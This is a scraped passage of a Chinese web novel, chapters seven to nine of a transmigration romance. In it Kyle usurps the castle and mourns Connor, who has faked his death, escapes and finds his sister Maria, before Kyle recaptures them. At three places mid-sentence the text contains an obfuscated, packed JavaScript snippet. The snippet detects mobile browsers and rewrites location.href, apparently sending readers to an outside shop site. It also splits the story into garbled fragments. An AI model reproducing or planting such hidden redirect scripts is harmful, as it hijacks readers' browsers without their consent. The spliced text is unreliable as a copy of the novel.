引入眼帘的是康诺躲在一张大圆桌的桌子底下,三个大块头围在桌子旁边想尽一切办法想要把康诺弄出来,玻璃瓷器什么的都碎了一地。 凯尔抬脚走向他们,康诺看见他过来就更慌了,忍不住后退。 既然凯尔是前帝国的皇子,那么他的实力肯定要比这三个人要强得多,就连他的块头看着都比那些人大得多。 康诺坐在桌子底下瑟瑟发抖,他现在就像一只被一群熊孩子欺负的流浪猫一样,可怜兮兮的。 现在他已经完全抛弃了他尊贵皇子的身份,只想着他怎么能保命,他并不想真的死掉啊,他的任务还没完成呢,他还等着下一个位面系统还给他一个大帅哥呢。 凯尔让那三个人离开,打药的那个人临走时还把他配好的药物给留下来,放在了凯尔触手可及的位置。 康诺见状,反而躲得更远了。 待那些人走后,凯尔锁上门以防有人进来。 转身温柔与耐心便挂满了整张脸。 “小少爷,快出来,我让他们都走了。” 康诺看着凯尔越走越近,只得从桌子底下跑了出来,凯尔见状松了口气,他怕,怕康诺远离他,再也不理他了。 他一点也不想失去他。 谁知就在此时,康诺向楼上跑去。 凯尔只得跟着上去,康诺欲哭无泪,你能不能别跟着了,他现在心跳飞快。 祁许害怕凯尔真的杀了他,那样就一切都完了,他任务失败,他与系统可是要遭受不知名的惩罚的。 惩罚不知名,但惩罚可不是什么好东西,未知的东西才是最可怕的。 祁许:怎么办啊统哥,他不会真的要杀了我吧。 系统:不怕不怕哈,你先继续与他周旋,我看他好像并不是真的要杀了你,我觉得吧,他可能喜欢你,所以对你心软了。 祁许泪流满面:但愿如此吧。 系统:他现在对你好感度挺高的,都能达到喜欢的水准了。 祁许:那就希望他到时候下手轻一点,我怕疼。 系统汗颜,这没出息的。 就在祁许与系统交流之时,凯尔已经站在了康诺身边,离他不到一步远。 “小少爷,那些人跟你说了什么?”凯尔尽量让自己看起来和善,好让小少爷对他放下戒备之心。 但是焦急使他眉头不自觉的皱着,在康诺看来便是不耐烦了,康诺害怕的咽了口口水。 凯尔上前一步,康诺便退后一步,如此一来,凯尔便知道那些人肯定是把事情都告诉他了,不然康诺不会躲着他。 “康诺,你听我说。”凯尔不得不停下来,他想要解释,虽然他原来确实是想杀了他,但是现在不一样了,现在他不想了。 两人之间的距离相隔并不远,凯尔一伸手就能够到。 祁许现在楼梯口处,眼睛余光看着那许多阶的楼梯,突然心生一计,他可以假装摔下去呀。 凯尔上前想把他拉进怀中好让他冷静下来,但是康诺不愿,剧烈挣扎着,就在推搡之间,康诺摔下了楼梯,不省人事。 凯尔着急忙慌的把他送进皇宫的医护室,看着他进入,医愈师不让他进入,他只能在外面等待着,心急如焚,在走廊里不停的来回踱步。 他的脑海中控制不住的不停的回放着康诺摔下楼梯的模样,那血一瞬间便流了一地,他小心翼翼的将他抱起,不一会染得他满身都是血液。 血腥味钻进他的鼻尖,刺激着他的神经,压在他的心口,额间细汗密布。 他将他送进医护室的时候,小少爷看他时的眼神,虽然虚弱,但有失望,有委屈,也有不甘。 抢救持续了好几个小时,从上午到下午,终于马上要结束了,凯尔立马冲上前去,站在门口,等待着医愈师带着他的小少爷康诺出来。 “凯尔先生。”医愈师出来了,接下来的话给他泼了一盆冷水。 “请节哀。” “什么意思?”凯尔不敢相信,瞪大了双眼。 医愈师没有回答他的话,只是将那人要求要给的东西给了男人。 凯尔接过,东西很小,用白布包裹着,慢慢的打开,竟然是一根小指,然后再无其他。 他的小少爷对他失望了,连一句话也不愿跟他说了。 此时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305249|198697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室内门又被打开,床车被推了出来,凯尔直勾勾的盯着床上的身体,他没死,肯定没死,肯定是骗他的。 但随着整张床被推了出来,床上那人盖着白布,从头到脚。 他不敢相信,伸手拉住床车,不让他前进。 颤抖着手掀开白布,康诺安安静静的躺在床上,双目紧闭,看起来睡得十分安详,只那苍白的脸和毫无血色的唇让凯尔知道,他的小少爷并不是睡着了,是真的没了。 凯尔跌坐在地上,此时此刻,他终于明白了什么叫做心痛。 医愈师又将白布盖上,拉着床车远去。 另一边,城堡里,罗伊已经接到了消息,他的宝贝小儿子被绑架撕票,现在停在了一家医院的太平间里。 罗伊站在房间里,双目猩红,不愿接受这个事实。 而凯尔的部下也知道了这个消息,以为是凯尔杀了康诺,顿时信心大增,准备攻占城堡。 他们安排好带兵的人,以及每人所带的人数,然后分路行动。 一时间,硝烟四起。 “不好了大将军,有叛军。”一士兵冲进来禀报,还因为跑得太快摔了一跤。 “叛军?”罗伊猩红的双眸瞬间瞪得老大。 “是,疑似前帝国的后人。” 罗伊赶忙下令围剿那些人。 但是早在他们不知道的时候,罗伊身边的亲信也被换成了凯尔的人,他们里应外合,最终攻下了城堡。 凯尔的手下看到罗伊时,他一人在孤军奋战,那孤零零的背影显得格外凄凉。 俗话说双拳难敌四手,更何况罗伊一个人敌上万人。 毫无意外的,罗伊败了。 罗伊被凯尔的手下关进了地牢里。 一群人围在地牢外面,个个脸上喜滋滋的,忍气吞声了这么多年,他们终于夺回了属于他们的东西。 手下们都等着他们的陛下回来好向他邀功。 凯尔悲痛欲绝的回到了城堡,城堡里的战事早已结束,只留下遍地的血液和尸体,他的属下看见他便说:“恭喜陛下,夺回了自己的帝国。” 凯尔冷漠应下,整座城堡满目疮痍,血流成河,属下们忙前忙后的清理着,个个脸上喜气洋洋,干劲十足。 从他面前经过时低下头行礼后又离开,凯尔并不予理会。 不知不觉,他便走到了康诺的卧房门口,望着里面的陈设,一切都没有变,床头摆着小少爷最喜欢用的水杯,床上的被子还保持着它的主人睡在里面时的形状,他的小少爷好像还躺在那张床上,等着自己去喊他起床,为他穿衣服,然后喂他吃饭。 可能城堡里的所有建筑物中,就只有康诺的寝宫里是最干净了,因为战争发生之时,康诺不在,他的贴身仆人也不在。 兵变的时候,康诺寝宫里的那些个佣人们吓得四处逃窜,最后导致这里空无一人。 现下凯尔的手下只需要擦洗掉寝宫外墙上面的血迹就可以了。 不知那些人忙活了多久,城堡又恢复成了以前的模样,似乎又比以前干净了不少。 凯尔坐上王座,俯视众生。 一片黑压压的脑袋左摇右晃,或平易近人,或凶神恶煞的脸庞满面红光。 凯尔将康诺留给他的小指握在手中,让它带上了人体的温度,就好像,他的康诺坐在他的旁边,而自己将他的一个手指握在了手中。 礼官现在凯尔身旁,不禁感慨,不愧是做陛下的人,这么令人激动不已的时刻他却能面不改色。 看着众人都已经到齐了,礼官示意各位安静,“让我们热烈祝贺我们的陛下重新登上了王位,从此以后,陛下必将带领我们走向更辉煌的未来。” 底下人先是欢呼,然后齐声道:“恭喜陛下。” 因着刚刚结束战事,纵使人心激动,但多多少少都觉得累了,有的人连自己都还没来得及收拾便过来了大殿,身上脸上都是血渍,染得凯尔坐在殿堂里的最高位置都闻到了些。 身为一个善战之人,凯尔当然不会嫌弃这些个东西,只是现在,他一闻到血腥味就会想到康诺摔下楼梯时的模样。 “好了,各位也累了,休息吧。”凯尔开口道,都说男儿有泪不轻弹,只是未到伤心处,现在他只想回到康诺的寝宫,独自一人待着。 众人欢呼,感慨他们的陛下体恤民情,有人情味儿。 凯尔回到康诺的寝宫里,找出一个玉做的可以装小物件的玉盒,轻手轻脚的像是手捧无价之宝一样把小指放进了盒中,再给它盖上盖子。 一位仆人走过来,“陛下,外面有一位权臣求见。” 凯尔将那小玉盒小心翼翼的放好才让那人进来。 “你来得正好,刚刚在大殿上有一事忘了说。”凯尔见人来了,便招手让他过来,“你传我指令,让主帅带人去清理诺尔帝国的余党,凡是诺尔皇室的人,杀无赦。” 那人笑呵呵的:“陛下还能忘了这件事啊。” 这位权臣是一位白发苍苍的老人,他是看着凯尔出生的,在凯尔的帝国还没被抢走之前,他还照顾过凯尔,与凯尔比较亲。 “那不是高兴么。” 这也不是什么大事,他应了下来,但是却不走。 “陛下,你应该睡在正殿的,而不是这里。” “就这一间屋子才没有血腥味,其他地方血腥味太重了。”凯尔一愣,才说。 “陛下怎么嫌弃这个来了。”老人打趣道。 “不是嫌弃,闻着血腥味,睡不着。”凯尔眼底闪过一丝痛惜,复又说到。 “呵哈哈,那老臣就不打扰陛下的休息了,先行退下了。”老人乐呵呵的离开了。 凯尔回到康诺的卧房又将那小玉盒拿了出来,把盖子打开,然后放在自己的枕边,就好像康诺睡在自己的身边一样。 一晃多日过去,主帅每天都带人巡逻,发誓绝不落下任何一个诺尔帝国的余党。 凯尔白天的时候就把康诺留给他的小指待在身上,晚上就放在他的枕边。 他游走在城堡里,时不时从小玉盒里拿出那根小指摩挲,或者握在手心里,他看着这座已经成为他的所有物的城堡,却怎么也高兴不起来。 想起以前,康诺要在花园里喝茶,他就得随身带着填肚子的糕点,还有手帕,给小少爷擦嘴用。 还有院子里的秋千,小少爷很喜欢坐,每次都让他用力推,荡得高了他又害怕,下来后气鼓鼓的。 想着想着,凯尔遇到了从外面回来的主帅,“陛下。” “嗯。”主帅正打算离开,凯尔似是想到了什么,又将他喊住,“等下,你知道那天参与绑架康诺的都有谁吗?” “我得去问问,陛下是想奖赏他们吗?”主帅莞尔一笑。 凯尔闻言,恨意从心中迸发,他是得好好“奖赏”他们呢。 面色不改,点了点头,“让那些人到我的宫殿去等我,正殿。” “是。”主帅抬脚离开。 凯尔将小指轻轻握在手中,恨恨的看着远处。 如果那些人不擅自动手,他的康诺就不会知道他的计划,他的康诺就不会排斥他的接近,那样他的康诺或许就不会死。 都是他们,不服从命令的人留着都是祸患。 走到正殿,那些人已经在殿堂中等候,面上是掩不住的喜色。 凯尔快步上前掐住其中一人的脖子,众人不明所以,上前阻拦,“陛下,你难道不是要奖赏他们吗?你这又是为什么?” 凯尔扬声说到:“这些人,不服从我的命令,擅自行动绑架康诺,破坏我的计划,该杀。” “陛下息怒,虽然他们破坏了你的计划,但最终的结果都是一样的啊,就算他们不服从命令也罪不至死啊。” 众人想要把两人拉开,凯尔掐住的那个人因为没有空气已经开始翻白眼了。 “不服从命令的人留着就是祸患。”凯尔不顾众人阻拦将一干人斩杀。 8. 第八章 此时,康诺正从停尸间内悄悄坐了起来。 他先前与那三个人在房子里追逐混战的时候打碎了不少东西,他摔下去的时候枕在上面了,被碎玻璃渣子划破了动脉才流了那么多的血。 伤口不大只是有些深,他流失了些血液,但是他等不及了,他得赶紧去做任务,找到他的妹妹才行。 祁许:统哥,我终于能做任务了。 系统:看把你能的,凯尔已经占领了城堡。 祁许震惊:我去,这么快。 他好想知道知道他昏迷的这段时间发生了什么。 系统:嗯,你也得快点。 祁许无语:这是我想快就能快的么,我现在这身体状况能干点什么,你说说。 系统大人无话可说了,也是,就祁许现在的身体状况,估计一下床就虚弱的倒在地上了。 系统给了他一些药,康诺苦得直皱眉头。 凯尔在的时候还能给他喂糖吃,现在他却只能默默忍受着这苦味。 祁许被苦得想呕,忙滴滴系统。 祁许:统哥,你有没有特效药给我吃,甜一点的。 系统沉默了一会:我向上级申请一下。 祁许:…… 祁许:那你快点儿,我这好歹也算是个工伤。 系统:我们这儿没有工伤这一说。 祁许:…… 他觉得他迟早有一天会被气死。 系统:给你药。 祁许:哟,挺快的嘛,看来你上级还挺有人情味的。 祁许:什么药啊。 系统:你要的特效药。 祁许懵逼,他是说要特效药,可没说是要哪方面的特效药啊,万一不是他要的那种,那不就白搭了吗。 祁许小心翼翼的问:治什么的? 系统:你想治什么就治什么。 祁许张大了嘴巴:哇,这么神奇。 某个在系统眼里没见过世面的人迫切的吞下了药,然后就呆住了。 过了有好一会儿他才开始动。 祁许:统哥,我咋没什么感觉呀? 系统:嗯,无痛的。 祁许:…… 康诺下床走进浴室里把自己扒光之后左看看右看看,然后慢慢的把绷带拆开,待看见里面后,惊呼了一声。 祁许:统哥,你这药太厉害了,连疤痕都不带留的。 系统得意得不得了:你如果要出去,就不能大摇大摆的。 祁许:那是当然,不然被凯尔发现了就不好了。 系统:不只是这个。 祁许明了,他这突然就好了,连伤疤也没有的事情是会引起众人关注的,搞不好就被抓起来搞科研了。 康诺换好自己的衣服,悄咪咪的走出去,竭尽全力的躲着那些医师。 现在那些人都被换成了凯尔的人,根本无暇顾及他这个尸体,不过城堡里倒也挂了些白布。 好不容易出来了,康诺终于松了一口气。 系统:别高兴得太早,你任务艰巨。 祁许:放心吧,保证完成任务。 康诺走在大街上,这种能出来的,自由的感觉真好。 系统:你找辆车吧,你这么走过去走到天黑都走不到。 祁许:嗯?她不是在饭店打工么。 祁许疑惑。 系统:饭店打工是没错,但是饭店不在城内,在城外。 祁许:我去。 康诺只得偷偷摸摸的坐车去往城外。 到达玛利亚所在的饭店,康诺站在饭店的门口迟迟没有进去。 系统:犹豫啥呢,快进去啊。 祁许:我都不知道她长啥样我进去了咋整啊。 系统:我会告诉你的。 祁许这才放心了。 康诺一进门就看见一个穿着灰色衣服,系着灰色围裙的女孩端着餐盘那些抹布在擦桌子,偌大的餐厅中只有她一个人。 系统:那个灰不溜秋的就是你妹妹玛利亚了。 祁许:额,这里咋就她一个人。 系统:不到饭点能有什么人。 康诺走近那个女孩,小女孩见有人来了忙放下手里的工作,“先生您好,请问你需要些什么?” “那个,我能不能占用你一点时间。”康诺有些不太好意思。 “当然可以。”玛利亚很好说话,看得出来是一个很善良的女孩。 “我知道你叫玛利亚。”康诺不顾小女孩的震惊,自顾自的说,“你以为你是个孤儿,但其实你是有家人的,我是你的哥哥,现在我想为你赎身,你能告诉我你的老板在哪里吗?” 玛利亚满脸的不可置信,她不敢相信这是真的,这么多年来,她一直一个人生活,她以为她就是个孤儿,她在饭店打工,虽然她每天要干的活非常多,但好在饭店老板并没有苛待她,该付给她的工资一分没有少过都按时交给她了。 她是很感谢饭店老板的,能够不嫌弃她。 但现在突然有个男人来告诉她,她不是孤儿,是有家人的,这个男人就是她的哥哥,让她一时之间有些接受不了。 “你容我消化一下。”玛利亚歉意的笑了笑。 “玛利亚。”饭店里面传来一声怒吼,那是玛利亚的老板,“你怎么不工作。” “我没有,是这位先生说,他找我有些事。”玛利亚指着康诺说到。 “你好,请问你是饭店的老板吗?”康诺面带微笑,彬彬有礼的开口问。 “是,有什么问题吗?”饭店的老板面色不善,她扬起脑袋看着康诺,眸子里尽显出她的不耐烦。 祁许:这还是个泼辣的主儿。 系统:你可赶紧的吧。 “是这样的老板,我想为这位姑娘赎身。” “赎身?给玛利亚?”饭店的老板不敢相信,就玛利亚那个灰姑娘一样的人,竟然有人替她赎身,真是不可思议。 “嗯,是,你放心,我钱够。”康诺巴不得老板动作能快一点。 饭店老板的目光毫不掩饰的打量着两人,又盯着玛利亚看了许久,这脏不拉几的脸蛋不难看出来这姑娘精致的五官。 还别说,这位先生的眼光挺毒。 很快,饭店的老板就给他们办好了手续,康诺替玛利亚赎了身,解救了长期劳苦的她。 玛利亚终于恢复了自由身,抬头看着外面阳光明媚的天空,实在不敢相信这一切,就好像这仅仅只是她做的一场美梦而已。 但眼前这个看着她笑,并且缓缓朝她走来的男人告诉了她,这是真的。 “谢谢你。”她真的非常非常感激他。 这个人自称是她的哥哥,倘若这件事是真的,但是他们两个人并没有生活在一起过,这个人却愿意为她花钱给她赎身,她真的很感激,不知道该如何用言语表达她的感情,只能说一句谢谢。 康诺看着她满脸真诚的笑容,感到略微尴尬,“那个,你有住的地方吗?” 康诺假死,伤还没好的时候可以住在医院里,但是现在他伤好了,他住在哪里呢。 “有的。”她这么多年都是一个人生活,住的地方自然是有的,就是有点简陋,不过能遮风挡雨就是了。 她一个人在饭店的不远处搭了一间小木屋,里面摆了一张小床,刚好够她睡觉。 玛利亚非常感激康诺,便带着康诺前往了她的住处。 小木屋旁边有一条小溪流,清澈见底,还能看见小鱼儿在里面游,小木屋外面还用木头搭建了遮雨棚,以及石头做的火灶。 进入了小木屋,康诺打量了下四周的环境,一张小床,还有梳妆柜,一把木椅,总共两三件衣服就挂在床边。 说是梳妆柜,其实就是一个大木箱子上面放了一面镜子,然后箱子前面一把椅子。 不难看出来,玛利亚小姑娘生活艰苦,但也很精致。 他本来想,如果玛利亚有住的地方的话自己就跟她住在一起,不然的话自己还得另外去找住的地方。 康诺虽然在郊外有他自己的庄园,但是他如果进去的话,保不齐就被凯尔他们发现了,那就得不偿失了。 其实他可以自己住,就是得经常换地方,整天还得偷偷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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现在诺尔帝国的大将军罗伊,也就是他们的父亲,被那些人关在了地牢里,而他,因为凯尔,也就是前帝国的小少爷贴身照顾着他,给他下药,导致他因为长期服用omega的催化剂,永远也不可能分化成alpha了。 现在需要玛利亚做的就是她能够将属于他们的国家夺回来。 玛利亚闻言,低头不语。 从方才听康诺所说的来看,凯尔这个人必定手段高明,实力强大,要不然怎么这么多年来他们都没有发现呢。 玛利亚很害怕,康诺看出来她的犹豫,虽然心里着急,占回城堡的事必须的赶紧办,且越快越好。 但是他也知道,对于玛利亚来说,这件事急不得,得慢慢来。 “没关系,你慢慢想,不着急。” 康诺虽然这么跟她说,但是玛利亚并不傻,要占回城堡怎么可能不着急呢,但她也确实害怕。 她也知道康诺肯定是没办法了,走投无路了,不然不可能来找她。 玛利亚紧抿双唇,点点头。 就在康诺起身准备走的时候,玛利亚突然问:“等一下,你现在有住的地方吗?” “呃…没有。”康诺没想到她会这么问,只好实话实说。 “不然,你就住我这里吧。”康诺被绑架,然后逃了出来,但是现在城堡被别人占领,他极有可能是没有住处的。 “嗯?”康诺瞪大了眼睛,住这里?怎么住,这么小的地方,还只有一张床。 “你睡床,我睡地上,我还有被子的。”玛利亚看着康诺震惊的表情,差点笑出来,真的太可爱了。 她知道康诺从小在皇室长大,能让他接受睡在这里已经很不容易了,从那么好的生活条件一下子跌倒这里来,肯定一时间没法接受,所以当然得让他睡床了。 康诺有些不好意思,让一个女孩子睡在地上真的是,一点也不绅士,虽然那个女孩子是个alpha,他是个…没性别的。 最后的结果还是康诺睡床,玛利亚打地铺,睡觉前,玛利亚特地在床上多铺了一层被子,就是想让康诺睡的舒服些。 躺在床上的时候祁许还在美滋滋的想,这可真是个美丽又善良的姑娘。 然后跟系统调侃起凯尔来。 祁许:凯尔现在肯定躺在城堡正殿里的大床上得意着呢。 系统:我看现在的你也挺得意的。 祁许:嗐,那是,我这个妹妹呀,真是善良又漂亮的孩子,对她素未谋面的哥哥也好得不得了。 9. 第九章 两个人就这样子一起生活了两天。 第三天,和往常一样一大早玛利亚就起了床,轻手轻脚的卷起被子放进箱子里,洗漱完就开始为康诺准备早餐。 因为她的生活用品都放在了小木屋外面,所以并不会打扰到康诺的休息。 而康诺这两天都起得比较晚,他的伤口确实是恢复了,看不到疤痕了,但是实际上他的身体还是很虚弱,需要静养。 经过这两天的相处下来,让康诺没想到的是,玛利亚的作息规律简直比他在皇室的时候还要严苛,不过好在并没有连着将他一起喊起来。 “哥哥,该起来吃早饭了。”玛利亚做完早饭就喊康诺起床,这两天都是如此。 她已经接受了自己有一个哥哥的事情,并且喊得十分顺口。 康诺迷迷糊糊的揉了揉眼睛,然后坐起身,水润的脸蛋上还有一条不深不浅的睡痕,玛利亚看见“噗嗤”一声笑了出来。 “怎么了?”康诺疑惑的问。 “哥哥,你的脸都睡出印子来了。”玛利亚指着康诺的半边脸。 “嘿嘿,不管他。”康诺搓了搓脸,憨憨一笑。 “哥哥吃饭吧。”等康诺洗漱完之后玛利亚就将早餐端到了康诺面前。 因为她住在郊外,所以她所要用到的东西只有在饭店老板需要进货的时候才会去买,除非是特别紧要的东西。 而她的食物则屯的比较少,因为她基本上都在饭店里,一天的工作结束后才会吃饭店剩下来的饭菜。 所以这两天康诺的吃食还是玛利亚向饭店老板买的。 虽然玛利亚很穷,但是康诺不穷,康诺很富裕,给钱的时候十分利索,所以老板将食物卖给她的时候还是比较爽快的。 只是玛利亚看着那厚厚一打钱递过去的时候心疼了好久。 饭店老板太坑人了,明明那些东西要不了那么多钱,她却给翻了一倍,美名其曰的说,因为他们将东西买走了,导致她原本够用的食物少了,需要她提前进货,打破了她的计划,理应多收些。 这不是摆明了坑人嘛,就是看着康诺钱多出手阔绰。 吃过早饭,玛利亚把碟子都收拾到一个盆里,然后端到小溪边舀水洗。 今天康诺跟在她的后面一起来到小溪旁边。 哇,有鱼诶,我之前都不知道。”康诺今天第一次来到小溪边。 玛利亚笑着回他:“你前两天一直坐在屋子门口发呆,都没往这里来过,你当然不知道啦。” 康诺看着她忙碌的样子,又看了看鱼,问:“这里面的鱼可以吃吗?” “大部分是可以吃的,不可以吃的占少数,以前饭店人很少的时候我会来这里抓鱼。 听她这么说,康诺便想要下去抓几条鱼来煮了吃。 这两天玛利亚一直在伺候他,虽然说是亲妹妹,但是素未谋面,没有感情,终究是不好。 于是他便决定,他下去抓几条鱼来做给她吃。 康诺卷起裤边,赤脚踩进水里。 玛利亚以为她只是想玩一玩,就没在意,只是说水凉,让他别待太久。 康诺静静的站在里面,等到鱼儿游到他面前来时,伸手一抓,还真被他给抓到了。 他刚想很玛利亚炫耀一番,但是鱼儿太光滑,一下就从他手中飞出去了。 玛利亚失笑,康诺也不气馁,继续抓鱼,还真让他给抓着了几条。 有一条比较大,剩下的几条都比较小,不过够他们两个人吃了。 等康诺拎着装小鱼儿的上来时已经已经接近中午,可以准备做饭了。 玛利亚见他回来了,便问他:“抓到了吗?” “当然。”康诺骄傲的向他展示自己的战果。 玛利亚刚想接过小桶就被康诺多了过去,只听他说:“我来,看我给你露一手。” 玛利亚诧异,他并不认为康诺会做饭,但是也不好薄了他的面子,只得由着他去了,不过她还是不担心,站在旁边看着。 康诺动作熟练的处理了鱼,不能要的他都给丢了出去。 玛利亚觉得不可思议,这可是一位自小就在皇室长大的小少爷,肯定是打出生起就被人伺候着,被照顾得无微不至,但是现在她看见那人正熟练的处理鱼,还能认识各种调料。 烹饪过程中,香味四溢,玛利亚眼睛都不眨一下的盯着锅中的鱼儿,生怕她的美味飞走了。 她此刻已经不想去深究为什么小少爷会做饭了,这鱼简直太香了,她口水都要流出来了。 就在鱼快要出锅的时候,系统大人恨铁不成钢的开口:祁许,你是不是忘了你是一个小少爷,怎么会做饭。 祁许:遭了。 动作的手一顿,这两天过得还挺舒心,一时间给忘了。 他用余光看了一下玛利亚,就怕她问自己怎么会做饭。 就连吃饭的时候也一直提心吊胆着。 “哥哥,你太厉害了,这个鱼做得太好吃了。”玛利亚埋头吃个不停。 康诺骄傲的抬了抬下巴,这一抬,就惊得他饭碗差点掉在地上。 离他们不远处,正是这几天一直在诺尔帝国皇室人的凯尔的手下。 玛利亚疑惑的问:“怎么了?”,顺着他的视线看过去,只是一群穿着很普通的人,只是每个人都穿得一样。 “凯尔的人。”康诺丢下饭碗拉起玛利亚就开始狂奔。 此刻凯尔的手下也发现了康诺,起初他们还以为隔得太远看错了,毕竟据他们所知的消息而言,康诺已经死了。 但是现在看他的反应就知道,那个人就是康诺,至于他旁边那个女人是谁他们并不知道,不过看他们两个待在一起,肯定关系不一般。 他们派出一人去皇宫通知凯尔,一般来说是不用的,但是康诺可是诺尔帝国的小少爷,而且还是本该已经死了的人。 剩下的人前去追康诺与玛利亚,身娇体弱的贵族小少爷和一个尚未成年的女子哪里跑得过那一群身强体壮的alpha们。 不一会,他们之间的距离越来越近。 此时此刻凯尔紧急赶了过来,两三步就挡在了他们的面前。 凯尔看着近在咫尺,自己日日夜夜思念的那张脸,心里百味杂陈。 他本来还不相信那些人所说的话,他可是眼睁睁的看着康诺躺在床车上盖着白布被席生推走的,怎么可能会在郊外看见他。 而现在,这人就活生生的站在他的面前,一双黑黝黝的大眼睛,殷红的小嘴,白皙的皮肤,这个世界上,怎么可能会有长的这么像的人,就连动作和神态都那么像。 这一切的一切让他不得不信,康诺没死,他真的还活着。 那些人看见凯尔到来,便停下追逐的脚步,现在康诺两人身后不远处。 康诺与凯尔四目相对,空气突然安静,康诺忽然有些尴尬。 好吧,这下是逃不掉了,他得赶紧想个对策,不然估计下一秒就被卡擦了,那么他的任务可就失败了。 “那个,先生。”康诺局促的开口,压根儿就不敢看凯尔的眼睛。 “先生?”凯尔瞪大了双眼,对这个称呼明显是不满意的。 他很想上前抱住康诺,想要质问他,为什么要欺骗他,为什么要诈死,但碍于还有他的手下们在这里。 “对啊,不然喊您什么?”康诺眼下能想到的于他而言的最好的对策就是装作他失忆了。 他什么都不记得了,凯尔或许还能放过他,留他一命。 不过就他对凯尔的了解来说,这种可能性微乎及微,那个眼里可只有复仇的大反派,怎么会在自己身边留下这么大的一个隐患。 “先生,请问您想干什么,为什么要拦住我们?”康诺眼神懵懂,他都觉得自己不去当演员真是可惜了。 凯尔不知道康诺为什么这么喊他,但听他问为什么拦住他时着实疑惑了。 自己为什么拦住他,他难道会不知道?现下见康诺这幅模样,又不像是装的,但他不可能不知道,除非… 那就只有一种可能了,康诺失忆了。 但是怎么想想都不太可能,康诺如果真的失忆了,为什么要在手术后选择假死呢,他明明什么都不记得了。 “先生?”康诺见他不说话,不由得又喊了一声。 他真的好想赶紧走掉啊,但是他们这么多人,肯定刚跨出一步就被抓住了,苍天啊,救命呐。 “你知道我是谁吗?”凯尔指着自己问康诺。 康诺露出一副看傻子的表情,“我应该知道你是谁吗?” 玛利亚站在康诺身后一言不发,她看着那个高大的alpha,再看看自己哥哥,在心底猜想眼前这人就是凯尔。 她现在唯一能帮到哥哥的,就是安安静静的现在他身后。 “我是凯尔。”凯尔皱起眉头。 “好的凯尔先生,请问您为什么要拦住我们。”康诺不厌其烦的又问了一遍。 凯尔不回答他反问他:“你为什么看见他们要跑呢。” “那群人气势汹汹的朝我们走过来,一看就不是什么善茬儿,我们当然要跑啊。”康诺满口胡话说得信势凛然。 说着康诺还回头看了那些人一眼,他们虽然都已经停住了脚步站在那里,但是武器仍然拿在手里。 见状,康诺便知道自己今天是跑不掉了。 凯尔向那些人招了招手,那群人便走向前来。康诺大吃一惊,“嚯哟,你们是一伙的。” 说完就想拉着玛利亚朝其他地方跑去,但凯尔一个手势那群人就把他们围在了中间。 “绑起来带走。”凯尔虽然不知道那个女孩儿是什么人,但是很康诺待在一起,绑起来也是没错的。 康诺拉着玛利亚剧烈挣扎,“干什么呀你们,为什么要把我们绑起来?” “动作轻一点,绳子别绑得太紧了。”凯尔担心那些人把他的康诺弄疼了,最终还是抢过绳子自己小心翼翼的将他绑了起来。 康诺被他们抓走,肯定是要把他带回城堡的,他得带着玛利亚一起走,不然玛利亚怎么进城堡。 进入城堡,凯尔并没有把他们关进地牢里,而是把康诺带去了他以前的寝宫里,玛利亚很自然的跟上去,众人也没有拦着。 到了寝宫之后凯尔就把绳子给解开了,正想给康诺揉揉被绳子勒着的地方,以免他到时候变成淤青了喊疼。 但是康诺却径直走向玛利亚,那个他带回来的女孩,只见康诺动作轻柔的解开绳子,然后给女孩揉着被绳子勒着的地方。 凯尔看着康诺的动作,眉头紧皱,怒火在胸腔中燃烧。 最后只好眼不见为净离开了。 康诺看着凯尔离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你不是奴隶吗,还有钱再养另一个陌生人吗?” 这题预习的时候没有,玛利亚深吸一口气,说:“凯尔先生,这是我的隐私。” 凯尔不悦的皱眉,显然不满意这个回答,但他得抓紧时间多问一些问题,不然康诺就要出来了。 玛利亚生怕自己的回答惹得他不高兴了然后就把自己给杀了。 “我跟康诺认识了,这点你应该看出来了。”凯尔抿唇。 玛利亚点点头。 凯尔又接着说:“但是他为什么不记得我了?他是真的失忆了吗?” 她不擅长撒谎,当初康诺可是跟她演练了很久她才勉强过关的。 “听他说他是撞到了脑袋,醒来时只记得自己叫康诺,其他的什么都不知道。” 凯尔若有所思的点了点头,还想再问些什么,但康诺已经过来了,他又摆出一副正襟危坐的模样,端着国王的架子。 那个女孩说的话并不像是假的,再结合康诺这几天的表现来看,他终于确定,康诺是真的失忆了。 康诺失忆,事情就好办多了。 这么多天来,他已经确定了自己对康诺的感情,他原本还想着康诺不在了,他就这么一直守着他留给自己的小指,作为相思之物,成天睹物思人。 后来发现康诺还活着的时候,他便决定自己一定要不顾众人反对,把康诺留在自己身边,哪怕是用尽一切办法,康诺不愿,他就会一直守着他,照顾他,呵护他,总有一天能打动他。 现在康诺失忆了,自己也成天待在他的身边,他可以先让康诺建立起对他的信任,那样的话,信任度提高了,自己说什么康诺就都会相信了。 于是接下来的几天,凯尔都在与康诺培养感情,想要尽快与他建立起信任。 当然,如果没有那个碍眼的女人就更好了。 经过他的不懈努力,康诺终于把他当做了好朋友,关系也亲密了些,会在他面前开怀大笑,会跟他一起玩耍,一起找些新奇的小玩意儿。 这天晚上,到了睡觉的点,凯尔却没有像往常一样去正殿休息。 在康诺来之前,凯尔其实还一直在康诺的寝宫里休息,现在康诺回来,他便去了正殿。 “凯尔,到了睡觉的点了,你该离开了。”玛利亚一个女孩子已经早早去睡了,估计此刻已经进入了梦乡,做着美梦呢。 